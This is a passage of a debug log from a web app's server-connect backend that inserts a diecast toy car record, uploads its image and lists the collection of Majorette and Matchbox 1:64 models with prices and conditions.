2026-02-04T11:23:56.639Z server-connect:app Executing action step restrict
2026-02-04T11:23:56.639Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:23:56.641Z server-connect:output restrict: undefined
2026-02-04T11:23:56.641Z server-connect:app Executing action step condition
2026-02-04T11:23:56.641Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:23:56.641Z server-connect:app Executing action step insert
2026-02-04T11:23:56.641Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'diecast_cars',
    returning: 'id',
    query: 'insert into `diecast_cars` (`brand_id`, `case`, `condition`, `created_at`, `model_name`, `price`, `purchase_date`, `release_year`, `scale`, `series`, `vehicle_brand_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:23:56.643Z server-connect:output insert: { affected: 1, identity: 181 }
2026-02-04T11:23:56.644Z server-connect:app Executing action step condition
2026-02-04T11:23:56.644Z server-connect:app options: { if: '{{insert.identity}}', then: { steps: [ [Object], [Object] ] } }
2026-02-04T11:23:56.644Z server-connect:app Executing action step upload
2026-02-04T11:23:56.644Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:23:56.644Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:23:56.644Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:23:56.644Z server-connect:upload Processing file: {
  name: 's-l1600 (6).webp',
  data: <Buffer >,
  size: 146102,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-67-20378841770204236636',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'a3894bb68cab870d1c55645c6700b5ff',
  mv: [Function: mv]
}
2026-02-04T11:23:56.644Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_6_31e978af-d038-46fe-a8df-3d1bf8d57eba.webp',
  rel: 'public/assets/images/diecast/s-l1600_6_31e978af-d038-46fe-a8df-3d1bf8d57eba.webp'
}
2026-02-04T11:23:56.644Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_6_31e978af-d038-46fe-a8df-3d1bf8d57eba.webp',
  rel: 'assets/images/diecast/s-l1600_6_31e978af-d038-46fe-a8df-3d1bf8d57eba.webp'
}
2026-02-04T11:23:56.644Z server-connect:output upload_image: [
  {
    name: 's-l1600_6_31e978af-d038-46fe-a8df-3d1bf8d57eba.webp',
    path: '/public/assets/images/diecast/s-l1600_6_31e978af-d038-46fe-a8df-3d1bf8d57eba.webp',
    url: '/assets/images/diecast/s-l1600_6_31e978af-d038-46fe-a8df-3d1bf8d57eba.webp',
    type: 'image/webp',
    size: 146102
  }
]
2026-02-04T11:23:56.644Z server-connect:app Executing action step repeat
2026-02-04T11:23:56.644Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-04T11:23:56.644Z server-connect:app Executing action step insert
2026-02-04T11:23:56.644Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:23:56.646Z server-connect:output images: { affected: 1, identity: 218 }
2026-02-04T11:23:56.646Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:23:56.646Z server-connect:output condition: undefined
2026-02-04T11:23:56.646Z server-connect:output condition: undefined
2026-02-04T11:23:56.871Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:23:56.871Z server-connect:app Executing action step identify
2026-02-04T11:23:56.871Z server-connect:app options: { provider: 'security' }
2026-02-04T11:23:56.871Z server-connect:output identity: 1
2026-02-04T11:23:56.871Z server-connect:app Executing action step restrict
2026-02-04T11:23:56.871Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:23:56.871Z server-connect:output restrict: undefined
2026-02-04T11:23:56.871Z server-connect:app Executing action step paged
2026-02-04T11:23:56.872Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:23:56.876Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 158,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:24:01.370Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:24:01.370Z server-connect:app Executing action step identify
2026-02-04T11:24:01.371Z server-connect:app options: { provider: 'security' }
2026-02-04T11:24:01.371Z server-connect:output identity: 1
2026-02-04T11:24:01.371Z server-connect:app Executing action step restrict
2026-02-04T11:24:01.371Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:24:01.371Z server-connect:output restrict: undefined
2026-02-04T11:24:01.371Z server-connect:app Executing action step paged
2026-02-04T11:24:01.371Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:24:01.373Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 39,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
